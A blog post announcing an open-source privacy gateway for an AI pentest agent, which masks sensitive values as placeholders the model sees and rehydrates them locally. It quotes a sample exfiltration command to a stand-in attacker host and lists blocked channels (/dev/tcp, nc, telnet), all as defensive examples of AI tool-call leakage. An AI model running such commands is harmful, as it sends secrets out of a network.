Let an AI pentest agent use a frontier model without leaking your network

#ai #privacy #opensource #security

The blocker nobody talks about in AI pentesting

Autonomous AI pentesting works by feeding a language model what it observes on a target (open ports, internal hostnames, error messages, credentials it recovers) and letting it decide the next move. That is also the problem. The moment you send real IPs, internal hostnames, emails, tokens or file paths to a hosted model, sensitive facts about your infrastructure leave your perimeter. For a lot of teams (regulated, defense, anyone with a data sovereignty requirement) that single fact kills the whole approach, no matter how capable the model is.

We wanted the reasoning quality of a frontier model and a guarantee that it never sees a real sensitive value. Here is how the Privacy Gateway we just shipped in Darkmoon (open source, GPL-3.0) does it.

Deterministic placeholders, not redaction

Redaction destroys information. A pentest agent needs to reason about relationships ("this host also exposed that email"), so blanking values out is not an option. Instead the PrivacyVault tokenizes every sensitive value into a deterministic placeholder: IP_PRIVATE_001, HOST_INTERNAL_001, EMAIL_001. Same value maps to the same placeholder within a session, so the model can still correlate, pivot and plan. What it never gets is the real value.

The mapping is protected in memory: an HMAC fingerprint is used for deduplication and the value itself is stored Fernet encrypted. No raw value is retained in a form that can be logged. The scope is the session, with a TTL, and secrets are never restored into a command (the one exception being an explicit local report path).

Rehydrate locally, at the last possible moment

The model emits a command or a structured tool call written entirely in placeholders. Just before execution, on your machine, the CommandGateway rehydrates only the whitelisted fields. This is context aware, never a naive global find and replace, so nmap actually runs against the real address. The tool output is then sanitized in two passes and re-tokenized before any of it goes back to the model.

A concrete pass:

The model sees Host IP_PRIVATE_001 has ports 80,443 open
It emits nmap -sV IP_PRIVATE_001 -p 80,443
The gateway executes nmap -sV 10.42.1.5 -p 80,443 locally
The output is re-masked before returning to the model

The model never learns 10.42.1.5.

Blocking exfiltration

A model that never sees a value still cannot be allowed to smuggle it out through a tool call. The gateway blocks the obvious channels: a placeholder landing in a URL query string, a literal external host, an echo or print of a secret, a POST body, /dev/tcp, nc or telnet to a non target. So curl https://attacker.tld/?target=IP_PRIVATE_001 is refused rather than quietly rehydrated.

Does it actually hold up

Two checks, stated honestly.

Properties, not vibes. 22 tests cover the 7 properties that matter: the model never sees the real IP, the mapping is deterministic, local execution is correct, stdout and stderr are sanitized, exfiltration is blocked, placeholders are not resolvable by the model, and secrets are never restored into a command. All 22 pass, and they run against the compiled production image (Nuitka, sources stripped, Fernet active), not just the source tree.

A real run. End to end against OWASP Juice Shop with a frontier model, gateway active for the entire run: 56 vulnerabilities found (9 critical, 23 high, 17 medium, 7 low; 36 exploited), with IP_PRIVATE_001 and EMAIL_001 in every observation the model received. The privacy layer did not blunt the pentest.

What is open, and why

The core is open source: the reversible tokenization, the anti exfiltration gateway, and the in memory vault. The enterprise hardening (a vault sealed by the runtime guard, an audit trail of every rehydration, compliance proof, a config UI) is the Pro layer. Open sourcing the core is deliberate: if a tool claims your sensitive data never reaches the model, you should be able to read exactly how that claim is enforced.

Repo: https://github.com/ASCIT31/Dark-Moon

If you are building agentic security tooling, the pattern generalizes beyond pentesting. You can keep the reasoning on a hosted model and keep the secrets on your side, as long as the tokenization is reversible and deterministic and the rehydration happens locally, behind a gateway that treats exfiltration as a first class threat.